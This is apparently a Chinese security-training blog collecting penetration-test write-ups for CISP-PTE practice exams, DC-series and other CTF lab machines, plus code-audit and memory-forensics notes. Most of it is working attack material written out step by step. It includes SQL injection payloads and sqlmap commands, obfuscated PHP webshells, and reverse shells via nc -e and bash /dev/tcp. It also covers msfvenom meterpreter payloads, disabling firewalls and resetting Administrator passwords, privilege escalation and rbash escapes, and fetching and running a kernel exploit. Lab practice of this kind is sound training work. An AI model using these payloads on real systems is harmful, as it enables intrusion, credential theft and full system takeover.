进阶渗透测试 on Retr0的小窝

2.7 CISP-PTE 模拟二全WP

Sat, 07 Feb 2026 15:58:16 +0800

警钟长鸣

SQL注入（sqlmap读文件）

右键查看源代码发现写有测试密码：admin123

登录后进入了一个病历管理后台，可以编辑其中的病情，

我们选择一个进行编辑，打开抓包后提交，复制数据包的内容保存到abc.txt中，把txt放在sqlmap的文件夹里，使用sqlmap读取文件

`1`	`python sqlmap.py -r abc.txt --batch --threads 10 --file-read "../../../key.php"`

文件上传

此处因为过滤比较严格，建议使用混淆过的脚本中的sqzr.php，此外由于本题过滤了<?php标签，所以我们把开头结尾的标签替换成：

1
2
3

<script language="php">
示例代码
</script>

此外也可自己构造混淆脚本：

<script language="php">
$a = 'a'.'s'.'s'.'e'.'r'.'t';
$a($_POST['cmd']);
</script>

文件包含

常规方法

`1`	`?page=php://filter/read=convert.base64-encode/resource=../key.cisp`

进阶方法

`1`	`?page=../key.cisp`

代码审计

看看源码：

对处理GET数据的这句进行特别分析：

`1`	`$o = eval("strtolower(\"$a\");");`

可以看到目前这句的功能就是执行(eval)strtolower这个函数，将所有传入的值转换为小写，相当于

`1`	`$o = strtolower($a);`

而用户只能传入待转换的内容，不能更改执行的函数名。

真的是这样吗？

我们设法逃逸闭合,特别注意被转义的"

`1`	`$o = eval("strtolower(\" ");eval($_POST['cmd']);("( \");");`

你可以在文本编辑器中在$a的位置尝试插入代码并逃逸闭合，直到文本编辑器中显示前后的括号都已经对应上。

所以我们传参：

`1`	`?a=");eval($_POST['cmd']);("(`

蚁剑连接即可。

失效的访问控制

同2.3-SP PTE模拟全WP

综合渗透

key6

nmap -A 172.16.1.224强扫，发现只开了80端口

常规思路看看robots.txt

那我们顺着看看这个sql数据库文件

发现下面有数据库的密码，放到cmd5上破解（考试使用MD5crack2）出来是qwerty

御剑扫下目录

发现其中的db_create.php实际上是phpmyadmin，用刚才发现的账密登录

在images.key6这个表中发现了key6

key7

接着在images.system发现了网站后台密码，直接点编辑，把刚才qwerty的md5值换进去。

用admin:qwerty成功登录网站。

发现是文件上传：

构造木片马或直接使用上面用过的sqzr.gif，操作相同。

上传成功后可以在图片管理中看到图片的url，使用菜刀连接。

在文件管理中找到网站搭建目录，拿到key7

key8

上传3389.bat到图片马存在的目录，即uploadfiles

运行3389.bat

依次执行：

1
2
3

3389.bat
netsh firewall set opmode disable		//关防火墙
net user Administrator 123456a*			//改密码

rdp远程连接：

在回收站中找到了key8

2.6-3 综合简单渗透测试报告

Fri, 06 Feb 2026 15:45:23 +0800

靶机登陆后先执行passwd root，修改密码为asd123***

信息收集

arp-scan -l扫一下目标IP

确认了目标IP为192.168.80.162

nmap详细扫描nmap -A 192.168.80.162

看到打开了 21(ftp)、22(ssh)、80(http) 三个端口。

先访问web页面吧http://192.168.80.162/

何意味？

御剑扫一下

看看login.php，

随便输入账密提交抓不到包而是直接弹窗，关闭 js 后不弹窗了，说明存在前端检查。

查看源代码发现如下的 js 代码：

可见前端首先对用户名进行了一次判断，用户名必须为：xxx@btrisk.com的形式表单才会被提交处理

所以我们输入：

1
2

用户名：admin@btrisk.com
密码：123' or 1=1#

文件上传

成功登入，发现存在文件上传：

右键查看源代码，同样存在前端的 js 文件基础验证：

常规玩法（webshell）

写一个一句话木马，后缀名为jpg来绕过前端验证，burp抓包修改数据包里的后缀名为php

查看http://192.168.80.162/uploads/已经成功上传并且可以成功执行语句

进阶玩法（msf木马）

使用msf生成免杀的php木马：

`1`	`msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.80.157 lport=4444 -f raw > hello.php`

木马大概长这样：

提前在msf中开启回弹等待

msfconsole
use exploit/multi/handler
set lhost 192.168.80.157
set payload php/meterpreter/reverse_tcp
run

将刚才的木马上传（方法同上），到http://192.168.80.162/uploads/中访问该木马。

成功拿到meterpreter

提权

1
2
3

shell
cd ../
ls

发现了config.php数据库配置文件

说明数据库账密为root:toor，遂尝试sql连接数据库

先升级美化一下终端：

`1`	`python -c "import pty;pty.spawn('/bin/bash')"`

sql连接成功数据库：

`1`	`mysql -uroot -ptoor`

手动查表：

show databases;
use deneme;
show tables;
select * from user;

使用查到的密码切换至root用户

1
2

su root
密码为：asd123***

不过这个靶场的root目录下没有flag

2.6-2 ctf-命令注入渗透测试报告

Fri, 06 Feb 2026 13:52:21 +0800

信息收集

首先arp-scan -l扫描确认靶机IP地址：192.168.80.161

namp详细扫描nmap -A 192.168.80.161发现只开放了80端口

扫一下目录dirb http://192.168.80.161/，有几个可正常访问的页面

按照惯例看看robots.txt

注（此项为后来回头发现的）： 发现http://192.168.80.161/nothing/中的源代码有一些密码：

http://192.168.80.161/secure/中有一个压缩包，下载下来看看：

里面是一个mp3，但是压缩包有密码

使用ArchivePasswordTestTool.exe进行破解，字典选top1000.txt （吐槽：早知道就不这样大废周折了）

成功爆出密码为：freedom

发现实际上并不是mp3文件而是文本文件，内容为(已翻译)：

我计算机方面不太聪明……

所以，我总是选择简单的密码，

并且还备份了凭证文件（credentials backup file）……

用户名：touhid

密码：******

网址：/SecreTSMSgatwayLogin

根据提示，我们访问：http://192.168.80.161/SecreTSMSgatwayLogin/

出现了登录窗口，根据刚才的提示，用户名是touhid密码应该是个弱口令。

注意：下面的爆破部分在当前靶场属于画蛇添足（实际上拿到上面的密码本就直接解决了，不过这些操作在实战中仍有参考价值）

遂尝试burp抓包爆破：

发现每次点击LOGIN时都有唯一token验证，这就需要我们在爆破是针对token进行处理

详见：1.25 更多暴破、XSS、CSRF和sql

右键查看页面源代码，发现每次刷新页面都会返回唯一token：

burp抓包，发送到intruder模式为pitch fork，把密码，和token做标记
到payload中，payload2使用密码字典，
options中线程选择1，下面的grep extract（正则表达式），点add，Extract from regex group 填入<input[^>]*name="X-CSRF-Token"[^>]*value="([^"]+)"并勾选Case sensitive ，OK
下面的redirections，点always
回到payload，选1，选择Recurisive grep，在下面的地方写上当前token的值
记得把payload encoding的勾去掉，Start Attack.

发现密码是diana，输入后成功进入后台：

漏洞挖掘

看到使用的cms是playSMS，为节约时间，我们尝试使用metaspolit，搜索漏洞

`1`	`search playSMS`

有三个非常好的漏洞，那就逐个尝试

以第一个multi/http/playsms_uploadcsv_exec为例，show options查看需要哪些配置

根据实际情况进行配置

set password diana	
set rhosts 192.168.80.161		//目标的IP
set targeturl SecreTSMSgatwayLogin //这个就是网站的路径
set username touhid
set lhost 192.168.80.157	//Kali的IP

run，稍等一会，成功拿到meterpreter

提权

执行shell打开终端，

whoami查看当前身份

sudo -l查看当前可免密执行的命令

发现当前可执行perl相关命令，遂透过perl进行提权：

`1`	`sudo perl -e 'exec "/bin/sh";'`

成功提权

剩下的就是老生常谈进root拿flag了

2.6-1 DC4渗透测试报告

Fri, 06 Feb 2026 13:46:53 +0800

信息收集

攻击目标：192.168.80.160

通过arp-scan -l可得：

nmap -A 192.168.80.160强力扫描：

发现目标开放了22(ssh) 和 80(http) 两个端口，这里我们先用浏览器访问一下。

发现主页是一个登录界面，

不要盲目相信爆破，我们还是先扫一下目录吧。

执行：dirb http://192.168.80.160/

尝试访问这些目录发现都是403 forbidden

尝试搜索nginx的漏洞，但是没有可用的，

还是抓包爆破一下试试吧，抓包，send to Intruder，选择字典为top1000.txt

发现密码为happy

命令执行

登录进后台，发现有几个执行系统命令的选项，

推测有命令执行漏洞，抓个包看看:

看到确实POST了一个ls -l的命令，为了方便可以直接右键Send to Repeater，

拓展： 也可以传入webshell回弹命令nc+-e+/bin/bash+192.168.80.153+4444

需要提前打开na监听4444端口

我们修改命令查看一下有哪些用户：cat /etc/passwd

有charles、jim、sam三个用户账户。

看看jim的主目录有什么：ls /home/jim

继续看看buckups文件夹：ls /home/jim/backups

看看这个文件是什么：cat /home/jim/backups/old-passwords.bak

发现是一个密码册，把它们都复制下来作为字典使用。

接下来使用九头蛇(hydra)来爆破一下ssh

`1`	`hydra -l jim -P pwd.txt -t 4 -vV 192.168.80.160 ssh`

爆出来密码是jibril04

接下来使用ssh连接目标：

`1`	`ssh jim@192.168.80.160`

提权

按照惯例，flag大概率在root目录下，所以接下来我们需要提权。

但是当前jim账户的权限过低，甚至不能使用sudo，所以强行在jim上提权过于浪费时间。

cat /var/mail/jim，发现有一封电子邮件，里面包含了charles的密码：^xHhA&hvim0y

所以用ssh重新登录到charles的账户：

`1`	`ssh charles@192.168.80.160`

执行sudo -l看看charles可以使用sudo执行哪些命令：

看到可以执行teehee命令，故尝试透过teehee进行提权

搜索到teehee的提权思路是利用其在passwd文件中追加一条uid为0的用户条目

`1`	`echo "haha::0:0:::/bin/bash" \| sudo teehee -a /etc/passwd`

按照linux用户机制，如果没有shadow条目，且passwd用户密码条目为空的时候，可以本地直接su空密码登录。所以只需要执行su haha就可以登录到haha用户，这个用户因为uid为0，所以也是root权限。

接下来正常进入到root目录拿取flag：

2.5 DC靶场之综合渗透

Thu, 05 Feb 2026 17:36:57 +0800

DC-1

flag1

主机发现：arp-scan -l

获取到IP后直接nmap扫描：

`1`	`nmap 192.168.80.155`

发现打开了80端口，用浏览器可以打开网页

接下来可以借助nmap扫描系统环境：

`1`	`nmap -O --osscan-guess 192.168.80.155`

也可以借助火狐的扩展插件：Wappalyzer，效果相同。

获取了足够的信息我们接下来使用msfconsole进行入侵。

注：因为笔者虚拟机里的MSF突然都寄了（恢复快照也不行）所以接下来部分用安卓终端Kali完成。

使用msf去搜索相关漏洞：

msfconsole

search Drupal

use exploit/unix/webapp/drupal_drupalgeddon2

中设置好目标RHOSTS后输入run

输入shell进入终端，

执行ls，成功获取到flag1的位置

使用cat查看即可。

flag2

默认 drupal 配置文件位置为：

`1`	`/var/www/sites/default/settings.php`

读取：

`1`	`cat /var/www/sites/default/settings.php`

看到第二个 flag

提示：暴力破解和字典攻击并不是获取访问权限的唯一途径（你需要访问权限），使用这些凭据，你可以做什么？

并且给了我们数据库的用户名和密码：

`1`	`dbuser/R0ck3t`

flag3

升级一下终端：

`1`	`python -c "import pty;pty.spawn('/bin/bash')"`

使用配置文件给的用户名和密码进mysql：

`1`	`mysql -udbuser -pR0ck3t`

show databases;

选择drupaldb：use drupaldb;
查表：show tables;

看到有一个叫做users的表，查具体信息：select * from users;

默认 drupal 的加密脚本位置在：

/var/www/scripts/password-hash.sh

我们可以自己加密生成一个密码 hash 值，然后替换进去，输入：./scripts/password-hash.sh 123456

回到 mysql 去更新 admin 的密码：

1
2
3

mysql -udbuser -pR0ck3t
use drupaldb;
update users set pass='$S$Dyt.gMokZZgE9tWWoSaB440Ydb2iSitXIuJOcWlWwArHw7FufACo'where name="admin";

使用更新后的密码（123456）登录管理后台，在dashboard看到flag3

此处提示为：特殊的 SUID 权限可以帮助你通过 find 命令定位密码文件——但你需要利用该命令的 -exec 参数，才能想办法获取 shadow 文件中的加密内容。

flag4

通过cat /etc/passwd 看到存在flag4用户

并且路径在/home/flag4

进入该目录，读取flag：

提示：使用同样的方法进入 root 目录找到 flag

final-flag

查找具有suid权限的文件：

`1`	`find / -perm -u=s -type f 2>/dev/null`

发现有find命令

查看root目录下面有什么文件：find . -exec ls /root \;

find LICENSE.txt -exec ls /root \;

看到thefinalflag.txt

使用cat命令读取：find LICENSE.txt -exec cat /root/thefinalflag.txt \;

拓展

获取root权限的shell：find LICENSE.txt -exec /bin/sh \;

DC-2

flag1

主机发现：arp-scan -l

nmap扫描：

`1`	`nmap -A 192.168.172.131`

开放了80端口，cms框架为WordPress 4.7.10。

还可以继续全端口扫描：

`1`	`nmap 192.168.172.131 -p 1-65535`

发现还开放了7744端口

对7744端口进行强扫描：

`1`	`nmap 192.168.172.131 -p 7744 -A`

发现7744端口运行的是ssh服务

但是直接访问因为对方配置的域名是dc-2（并不是常规域名所以会解析失败），所以接下来要修改hosts文件：

打开hosts文件：
vim /etc/hosts
添加：
192.168.172.131 dc-2

再次访问，可以看到web页面，在右下角找到第一个flag

存在提示：

提示：

你平时常用的那些字典可能派不上用场，所以，或许你只需要“酷”一点（暗指使用 CeWL 工具）。

密码自然是多多益善，但有时你也没法一次性把它们全部搞定。

先以其中一个身份登录去查看下一个 flag。如果在那儿没找到，就换另一个身份登录。

flag2

目录扫描，使用kali自带的工具

dirb http://dc-2/

当然如果你对wordpress比较熟悉可以直接访问：http://dc-2/wp-admin/

针对 WordPress 有一个专门的扫描工具：WPScan
wpscan --url http://dc-2/ -e u //枚举用户名字

拿到了三个账户名：

1
2
3

admin
jerry
tom

结合前面提示，使用工具 cewl：

只需要给 CeWL 一个目标 URL，它就会像爬虫一样把网页上的单词全部“抓”下来，生成字典

`1`	`cewl http://dc-2 -w passwd.txt`

此外，新建一个用户名的字典，也就是

1
2
3

admin
jerry
tom

准备好用户名和密码字典后，使用wpscan进行爆破：

`1`	`wpscan --url http://dc-2 -U users.txt -P passwd.txt`

查看结果，找到了tom和Jerry的密码

即：

1
2

| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient

选取其中一条登录后台即可。

在Pages中找到了flag2

提示：

“如果你无法通过漏洞利用（Exploit）直接拿下 WordPress 或者走捷径，那么还有另一种方法。”

“希望你已经找到了另一个入口点。”

暗示我们：WordPress 站点应该没什么东西了，要找其他入口

flag3：

尝试 ssh 连接：

1
2

ssh jerry@192.168.172.131 -p 7744
ssh tom@192.168.172.131 -p 7744

使用tom时登录成功

ls发现flag3.txt就在这里但是cat读取不了

但是很多命令（如whoami、cat）都不能执行，因为是rbash（受限制的终端）

查看可以使用的命令（rbash特性）：

`1`	`ls /home/tom/usr/bin`

发现可以使用less和vi命令，这两个命令都可以查看文件内容

1
2
3

less flag3.txt
或
vi flag3.txt

拿到flag3.txt

flag3 提示：

可怜的老汤姆（Tom）总是追着杰瑞（Jerry）跑。也许他应该因为杰瑞给他造成的压力而提起诉讼（su）。

flag4

由flag3提示暗示我们要提权，此处补充基于vi的rbash逃逸:

先后输入回车：

1
2

set shell=/bin/bash
shell

此时发现可以切换目录了。

cd ..
ls 发现tom和jerry两个目录
cd jerry 
ls 发现flag4.txt就在这里
less flag4.txt 读取

提示：

“很高兴看到你已经走了这么远——但你还没到家呢。”

“你仍然需要拿到最后的 Flag（那是唯一真正算数的 Flag！！！）。”

“这里没有提示——现在你只能靠自己了。:-)”

“继续——快从这儿滚出去（git outta here）！！！！

大概意思就是：你已经完成了所有的中间铺垫，现在只剩最后一关——拿到 Root 权限

final-flag

重点：完全逃逸rbash

执行：

`1`	`BASH_CMDS[a]=/bin/sh;a`

虽然还是无法使用cat这些命令，但是可以使用带斜杠的命令了，升级终端，执行：/bin/bash

接下来修复环境变量：

把系统的标准工具库（/bin 和 /usr/bin）重新加入到我的搜索路径中

1
2

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

至此，已经完全逃出 rbash 限制，系统重新找回了执行标准命令的能力。

就可以使用cat命令了，其他命令也恢复正常。

根据上面的提示，我们要使用git进行提权，

1
2

sudo git -p help config
!/bin/sh

直接执行发现tom的权限不够，所以我们调转到jerry用户上：

`1`	`su jerry`

重新执行一遍，成功提权到root。

最后进入root目录，ls发现存在最终flag，cat读取拿下。

DC-3

nmap强扫描发现开放80端口,cms框架为Joomla

接下来扫描目录：

`1`	`dirb http://192.168.80.159/`

发现了http://192.168.80.159/administrator/，说明存在管理员登录接口

安装针对性工具利用漏洞：

`1`	`apt install joomscan`

使用joomscan扫描：

`1`	`joomscan -u http://192.168.80.159/`

得到版本号为3.7.0

搜索该框架版本相关的典型漏洞：

`1`	`searchsploit Joomla 3.7.0`

Searchsploit 是一个离线的漏洞利用代码（Exploit）搜索引擎

可以看到该版本有一个 SQL 注入，受影响的组件是 com_fields，并且后面的路径(Path)显示为php/webapps/42033.txt，里面写有漏洞触发的具体参数(Payload)，查看该文件：

`1`	`searchsploit -x php/webapps/42033.txt`

查看到返回的文档中有使用sqlmap的注入方法（可以复制到文本编辑器中方便修改）：

`1`	`sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]`

常规sql爆库、表、字段、内容：

sqlmap -u "http://192.168.80.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch
// 看到数据库joomladb
sqlmap -u "http://192.168.80.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] --batch
// 看到表#__users
sqlmap -u "http://192.168.80.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
// 注意表名加双引号防止注释，不加--batch，前两个选yes，后面直接全部回车；看到username和password
sqlmap -u "http://192.168.80.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C username,password --dump -p list[fullordering] --batch
// 看到 admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

成功拿到admin的hash值

接下来使用john工具进行破解：

创建a.txt内容为：admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

在当前目录运行：

`1`	`john a.txt`

成功拿到密码snoopy

浏览器登录后台。

发现在Extensions->Templates->Templates 里面可以插入 PHP 代码（其实就是可以编辑页面的源代码）

第一行写个一句话木马，蚁剑连接。

`1`	`http://192.168.80.159/templates/beez3/index.php`

（可选） 或者为了方便继续用Kali操作，我们可以反弹shell到Kali：

提前在Kali上nc监听4444端口

`1`	`nc -lvvp 4444`

将插入的一句话木马换成：

1
2
3

<?php
system("bash -c 'bash -i >& /dev/tcp/Kali的IP/4444 0>&1'");
?>

浏览器访问http://192.168.80.159/templates/beez3/index.php，触发反弹

whoami发现目前还不是root权限。

收集下主机的版本信息：

# 查看内核版本
uname -a

# 查看发行版详细信息
lsb_release -a

# 查看系统版本文件
cat /etc/issue

至此，信息搜集完毕，exit退出webshell

查找相关漏洞：searchsploit Ubuntu 16.04 4.4.0-21

内容大多是针对64位系统的，所以放宽条件查找：searchsploit Ubuntu 16.04

初步判断39772对应的 double-fdput() 漏洞利用包是最适合这个 4.4.0-21 内核的，该脚本极为稳定且不挑架构，适配 32 位架构。

查看该文件：

`1`	`cat /usr/share/exploitdb/exploits/linux/local/39772.txt`

给了 exp 的具体GitHub项目地址：

回到webshell，方法同上。

为了防止一些目录没有写入权限，我们先切换目录：

`1`	`cd /var/www/html`

用wget将工具下载到目标：

`1`	`wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip`

解压：

unzip 39772.zip

cd 39772

tar -xvf exploit.tar

cd ebpf_mapfd_doubleput_exploit

编译：

`1`	`./compile.sh`

运行：

`1`	`./doubleput`

稍等一会，拿到了root权限。

切换到root目录，可以正常读取flag文件

1
2
3

cd ../../../../../
ls
cat the-flag.txt

2.3-SP PTE模拟全WP

Tue, 03 Feb 2026 20:40:01 +0800

试题一：sql注入

心路历程：

随便注册一个账号发现在文章的发表界面有提示，立刻联想到是insert注入，先输入正常的标题和内容提交后返回了执行的insert语句，遂开始尝试注入，过程基本和2.1 综合练习中一致，甚至要更简单。

但是我浪费了好几分钟，发现是单词拼错了。。。😵

Write up：

123','haha'),('88CF81EC-5360-DEA7-0E1E-08869D8C63F9',database(),'test
//2web

123','haha'),('88CF81EC-5360-DEA7-0E1E-08869D8C63F9',(select
group_concat(table_name) from information_schema.tables where
table_schema=database()),'test
//article,article1, users1

123','haha'),('88CF81EC-5360-DEA7-0E1E-08869D8C63F9',(select
group_concat(column_name) from information_schema.columns where
table_name='users1' and table_schema=database()),'test
//username, password

123','haha'),('88CF81EC-5360-DEA7-0E1E-08869D8C63F9',(select
group_concat(username) from 2web.users1),'test //admin,haha

123','haha'),('88CF81EC-5360-DEA7-0E1E-08869D8C63F9',(select
group_concat(password) from 2web.users1),'test
//key1:u9y8tr4n,202cb962ac59075b964b07152d234b70

试题二：文件上传

心路历程：

为了方便干脆直接上图片马吧，反正难得能过简单的肯定也能过，遂打开画图画了个OK保存，然后用notepad++在末尾加上了一句话木马。发现不行，传不上去，woc，这么牛逼吗。经过一波测试，反正最终发现应该是对eval进行了关键词屏蔽，所以使用大写绕过。传上去正常菜刀/蚁剑连接即可。

Write up：

`1`	`<?php EvAl($_POST['cmd']);?>`

试题三：文件包含

心路历程：

我是傻逼！

最初尝试远程文件包含（用自己博客上提前传好的），猛然醒悟公网肯定没开，所以转而用python开本地服务器。发现攻击机上的居然是远古的python2！然后，然后怎么包含不了啊？那大概是服务端配置关了，换伪协议吧，各种绕过也不行。回到远程文件包含。

重点来了，众所周知靶机是内网的一个服务器，而我提交包含文件URL里IP是127.0.0.1，靶机收到参数后理所应当的会在自己本地查找这个文件而不是来我搭建的服务器上找。。。ipconfig查找到同网段IP后更换一下就行了，依旧菜刀连接拿下。

Write up：

本地开单独文件夹创建文件niaho.txt，写入：

`1`	`<?php eval($_POST['cmd']);?>`

python开服务器：

`1`	`python -m SimpleHTTPServer 8000`

记得ipconfig看看同网段的IP为127.16.1.87

最终的地址为：http://172.16.1.19:83/start/index.php?page=http://172.16.1.87:8000/nihao

菜刀连接拿下。

试题四：反序列化

心路历程：

没过脑子把代码抄到本地（OCR太难用了），抄到一般发现是原题，不过就算第一次见也很简单。

Write up：

见2.1 综合练习

试题五：失效的访问控制

心路历程：

还没来得及抓包服务器就关闭了

Write up：

抓包看到了cookie：

把Username的内容先URL解码，再base64解码得到内容：Guest

同理我们如法炮制把Admin先base64编码再URL编码得到%59%57%52%74%61%57%34%3d换回去就行了

注意把前面的IsAdmin的值改为True，放包即可。

后日谈：综合题

访问对应的 web 服务

第一小题需要验证登录，直接抓包

base64 编码

可以base64解码看一下格式

直接发到攻击模块爆破

添加爆破位置

字典选择 password.txt

添加前缀

添加 base64 编码

如下如

爆破密码

筛选 200 的状态码，解码得到密码是 qwerty（这个过程你甚至可以省略，直接登就行了）

登陆后来到界面

这个界面登不进去，看了下源代码，只是一个静态页面

补充：这段过程有点跳跃，实战中你可以先用御剑扫下目录。

访问 robots.txt，看到 key6

并且看到一个名为 news 的路径，继续访问

点击系统管理来到另一个登录界面

存在弱口令 admin:admin

管理员管理处存在 sql 注入

抓个包

保存为文件放到 sqlmap

跑一下

存在注入

但是这里没法直接写入 webshell

不过可以读取 key.php

由于后面也需要写 webshell，我这里直接跳过读取的步骤

可以使用 burpsuite 进行目录扫描：

抓包后修改host为爆破点，字典就使用御剑配置文件中的PHP.txt

会发现 news 目录下存在 phpmyadmin 路径

直接在 phpmyadmin 下面执行 sql 语句，写入一句话木马

网站的绝对路径我们前面已经拿到了：

`1`	`C:/wamp/www`

写入 webshell

`1`	`select '<?php eval($_POST[1]);?>' into outfile 'C:/wamp/www/2.php'`

执行

直接用蚁剑连接，注意编码选base64（实战时候可用都试试），请求信息里面同样需要加上前面的认证信息Authorization

随便抓个登录后的包就可以看到了

进入找到 key7

右键上传文件

上传这个文件：3389.bat

右键进入虚拟终端

执行3389.bat

这个是开启对方的3389端口
接下来我们还需要关闭它的防火墙，使用命令：

`1`	`netsh firewall set opmode disable`

然后修改它的用户密码，使用命令：

`1`	`net user Administrator 123456a*`

注意需要满足密码策略，数字字母特殊字符
cmd输入mstsc打开远程桌面

看一下目标的ip

输入ip和密码进行连接

点击是

继续等待，成功连接到对方计算机

回收站的名字即为key8

目前发现的一些可能影响考试，需要注意的点

靶机关闭了文件扩展名显示，需要手动开启
火狐默认没有配置代理127.0.0.1:8080的burp suite代理，需要手动配置，不然抓不了包
没有发现phpstudy，遇到反序列化题目有源码可以借助文件上传/文件包含的题目跑一下
可用的16进制编辑器有notepad++和ultra edit，后者的操作有点奇怪

参考文献

[1] Echo_200. CISP-PTE练习篇（基础题目五：失效的访问控制）[EB/OL]. (2023-01-31)[2026-02-03]. https://blog.csdn.net/wojiaoqwe/article/details/128816906.

2.3 代码审计

Tue, 03 Feb 2026 20:39:40 +0800

场景一：发卡网站

后台登录：admin/wuaishare.cn

index.php的31行

include 'template/'.$tp.'/'.$action.".php";

有可能文件包含漏洞

我点击购买东西，还没付钱，抓到的数据包

1
2
3

/ajax.php?act=selKm
POST
gid=1

我放行之后，点击支付

1
2
3

/ajax.php?act=create
POST 
out_trade_no=2026131049390902&gid=1&money=5&rel=123123123&type=wxpay&number=1

此时后台可以看到

发现ajax.php的42行

$out_trade_no = $_POST['out_trade_no'];

参数没有进行过滤

发现56行利用了

1
2

$sql = "insert into if_order(out_trade_no,gid,money,rel,benTime,type,number) 
         values('{$out_trade_no}',{$gid},{$money},'{$rel}',now(),'{$type}',{$number})";

有可能出现sql注入

管理员通过admin/list.php （存储型XSS：可行）

看到订单号

136行发现$res['out_trade_no']直接从数据库取出，没有做任何过滤就放到了管理员面前

和上面漏洞结合，有可能出现xss盲打 （实测有长度限制） ，但是正常进行较短语句的XSS存储型注入是没有问题的。

admin/ajax.php （纵向越权：可行）

27行发现$pass = md5($pass.$password_hash);

发现密码加盐了，也就是在用户输入的密码后拼接一串字符串后再加密，因为开头引入了commom.php遂检查

发现common.php的34行$password_hash='!@#%!s!8#';

159行发现case 'upAdmin': 用来修改管理员密码

如果发送的case内容为upAdmin并且用户名admin密码为123456!@#%!s!8#并且进行md5，也就是f3b4e3b975e0484835e90514f8318e61

提交到admin/ajax.php，会直接越权修改管理员密码，遂尝试：

直接去访问/admin/ajax.php?act=upAdmin出现页面非法请求

因为

if ($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') {

} else {
    exit( "页面非法请求！");
}

必须修改为POST包

在请求的header上加上

X-Requested-With:XMLHttpRequest

还需要加上

Content-Type: application/x-www-form-urlencoded

否则参数无法被识别的

建议使用Chrome版的Hackbar，附最终效果：

在admin/clist.php发现文件上传 （文件上传：可行）

$imgs = upimgs($_FILES['img']);在24行

全局搜索upimgs函数

发现if/function.php的141行发现这个函数

发现文件上传路径../assets/goodsimg/

需要做mime检测

文件命名规则 当前时间.后缀名

拓展补充： 此处的时间指的是 Unix 时间戳，指的是从 1970年1月1日 00:00:00 UTC 到当前时刻所经过的秒数，可以使用这个工具计算：时间戳(Unix timestamp)转换工具

例如发送图片之前的时间1770099184

发送图片之后的时间1770099204

使用burp进行暴力破解文件名

场景二：非法杀猪盘网站

include/conn.php

24行define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());

//对所有传入内容进行过滤
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    //这里$$_request意思就是“变量变量”
    //当$_request == '_POST'时，$$_request == ${'_POST'}是POST数组
    //$_POST as $_key => $_value
    foreach($$_request as $_key => $_value) {
        //1.$_key{0} 拿到$_key字符串的第一个字符
        //2.如果第一个字符不是_，就执行右侧赋值
        //3. $_key = 'username' $$_key = $username
        //4. daddslashes防止sql注入
        $_key{0} != '_' && $$_key = daddslashes($_value);
    }
}

前台登录的时候

`1`	`GET /member/bin.php?act=login&username=18876115599&pwd=Ym3.Net&remember=true`

member/post.php第5行

$ddh=trim($_GET['ddh']);

在32行的时候不做任何过滤直接就收录到sql语句中

有可能存在sql注入

构建一个满足这页面的情况

ddh=1&money=100&key=2052cd88bea3f9016a0057436dbbd750

`1`	`python sqlmap.py -u "http://192.168.0.104/member/post.php?ddh=1&money=100&key=2052cd88bea3f9016a0057436dbbd750" -p ddh --dbs`

管理员后台，账号管理的时候访问地址admin/admin.php

GET /admin/admin.php?clause=editinfo?id=2

发现调用119 function editinfo()

发现有全局变量global $db,$id,$LoginEdUserName;

并且id变量直接进入：

`1`	$rs = $db->get_one("SELECT * FROM `h_admin` where id = $id");

把这个get请求保存到文件

`1`	`python sqlmap.py -r 1.txt --current-db`

2.2 数字取证

Mon, 02 Feb 2026 18:14:46 +0800

2.2 数字取证

volatility基本语法

volatility -f memory.raw imageinfo 读取内存的基本信息，可以得到profile信息

volatility -f memory.raw --profile=Win7SP1x64 [命令]

如：volatility -f memory.raw --profile=Win7SP1x64 hashdump 查看当前电脑用户名和密码

以上为语句的基本格式，下面会列举出一些常用命令，拼接在语句末尾即可

常用命令

pslist、psscan 查看进程

filescan 查看文件

filescan | grep flag 筛选

svcscan 查看服务

cmdscan 查看cmd历史

hivelist 查看注册表 sam类文件属于用户管理文件

iehistory 查看浏览器记录

netscan 查看网络记录

例题

文件链接：https://pan.baidu.com/s/1whj9cAeoTr6dPzOu0-8r5g?pwd=44nt

flag提交：https://labs.huayunsys.com/challenges

Suspicion (进程取证)

题目： 在进程中获取目标信息，并且拿到进程中文件内容

volatility -f mem.vmem imageinfo

volatility -f mem.vmem --profile=WinXPSP2x86 pslist 查看进程

发现TrueCrypt.exe，估计为加密工具pid为2012

volatility -f mem.vmem --profile=WinXPSP2x86 memdump -p 2012 -D ./

在本地安装efdd

进入efdd，decrypt or mount disk

true crypt（container）

open file选择加密过的内容，memory dump选择2012.dmp

mount disk

mount，发现电脑挂在了新的硬盘，打开硬盘，看到flag为

PCTF{T2reCrypt_15_N07_S3cu2e}

unmount 卸载硬盘

WIN-xxx.raw (操作系统取证)

题目： 获取目标操作系统中的用户密码信息

本题要求获取操作系统用户名和密码，直接执行：

volatility -f WIN-BU6IJ7FI9RU-20190927-152050.raw --profile Win7SP1x86_23418 hashdump

成功拿到cmd5加密后的用户名密码：

`1`	`CTF:1000:aad3b435b51404eeaad3b435b51404ee:0a640404b5c386ab12092587fe19cd02:::`

放到cmd5上解密即可

mem.raw (用户行为取证)

题目： 分析黑客在操作系统的行为

volatility -f mem.raw imageinfo

扫一下cmd：

volatility -f mem.raw --profile=Win7SP1x64 cmdscan

发现一条可疑的创建用户命令net user mumuzi (ljmmz)ovo

扫一下文件：

